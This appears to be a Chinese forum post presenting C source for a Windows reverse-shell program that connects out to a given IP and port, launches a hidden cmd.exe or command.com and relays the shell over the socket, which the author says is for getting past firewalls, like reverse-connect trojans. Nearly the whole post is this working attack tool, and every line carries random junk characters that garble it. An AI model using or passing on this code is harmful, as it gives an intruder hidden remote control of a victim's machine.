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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 h^M^7S  
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/* ============================== >V!LitdJ  
Rebound port in Windows NT sR*Nq5F#9  
By wind,2006/7 '[Gm8K5  
===============================*/ Y\?j0X;  
#include arh@`'Q  
#include |F!F{d^p  
E _iO@  
#pragma comment(lib,"wsock32.lib") CV^c",b_  
`="v>qN2\  
void OutputShell(); 7GZq|M_:y  
SOCKET sClient; G|9B )`S  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; z{?4*Bq  
yP\Up  
void main(int argc,char **argv) T:!MBWYe|  
{ 5 09Q0 [k  
WSADATA stWsaData; QnKC#   
int nRet; _Bk U+=|J  
SOCKADDR_IN stSaiClient,stSaiServer; BUC,M:J+H  
tWD|qg_  
if(argc != 3) 9?`RR/w  
{ 'IQsve7cI  
printf("Useage:\n\rRebound DestIP DestPort\n"); xb$yu.c  
return; yFM>T\@  
} OVswt  
dZ2`{@AYY  
WSAStartup(MAKEWORD(2,2),&stWsaData); 8$}OS-  
Oif,|:  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Vxh.<b6&'  
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stSaiClient.sin_family = AF_INET; Y<LNQ]8\G  
stSaiClient.sin_port = htons(0); h&'=F)5  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); AcC8)xRpk4  
O&$0&dhc  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #`/QOTnm2c  
{ `Q%NSU?  
printf("Bind Socket Failed!\n"); |E|6=%^  
return; >oqZ !V5[  
} |}S1o0v{(a  
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stSaiServer.sin_family = AF_INET; ^ KH>1!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); DQgH_!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); h<3p8eB  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6 = gp:I  
{ Hg(5S,O2  
printf("Connect Error!"); y\[r(4h  
return; U e*$&VlT  
} {ZqQ!!b  
OutputShell(); &!1}`4$[T  
} ;KcFy@ 6q5  
^:DyT@hQB5  
void OutputShell() N@1p]\  
{ 5(J^N  
char szBuff[1024]; o'Y#H r)/  
SECURITY_ATTRIBUTES stSecurityAttributes; "ahvNx;x  
OSVERSIONINFO stOsversionInfo; Qpu3(`d<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;CmOsA,1  
STARTUPINFO stStartupInfo; !N~*EI$  
char *szShell; J{ ~Rxa  
PROCESS_INFORMATION stProcessInformation; 9S1#Lr`r  
unsigned long lBytesRead; t[2i$%NVM  
zj20;5o>U&  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); xo~g78jm7,  
6P+DnS[]  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); XO wiHW{  
stSecurityAttributes.lpSecurityDescriptor = 0; S< x:t(  
stSecurityAttributes.bInheritHandle = TRUE; pFIecca w  
1xTTJyoq  
YIO R$  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .~`Y)PON  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ! F7:i  
knSuzq%*  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =kFuJ x)f  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }O*WV1  
stStartupInfo.wShowWindow = SW_HIDE; V/bH^@,sA  
stStartupInfo.hStdInput = hReadPipe; ~`Sle xK|}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )w"0w(   
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GetVersionEx(&stOsversionInfo); 4<}A]BQVkJ  
']?=[`#NL  
switch(stOsversionInfo.dwPlatformId) Y6VQ:glDT-  
{ 8"M<{72U]  
case 1: !Z s,-=^D  
szShell = "command.com"; n\= (S9  
break; gpAHC   
default: Bp3L>AcVu  
szShell = "cmd.exe"; SDc" 4g`  
break; &=zU611,  
} t!jwY/T  
V2<i/6~  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >&hX&,hG  
m2b`/JW  
send(sClient,szMsg,77,0); w3bIb$12  
while(1) u^=@DO'  
{ jG8;]XP  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); a8JN19}D  
if(lBytesRead) }W}G X(?P  
{ Y/P]5: =h  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hTTfJDF  
send(sClient,szBuff,lBytesRead,0); Hsl{rN  
} HV\"T(8 9  
else p >aw  
{ 'v`_Ii|-  
lBytesRead=recv(sClient,szBuff,1024,0); Yy@g9mi  
if(lBytesRead<=0) break; 2U%qCfh6|  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }n95< {  
} [TCRB`nTQF  
} Wz{%"o  
!K\itOEP-  
return; v3^t/[e~:  
}
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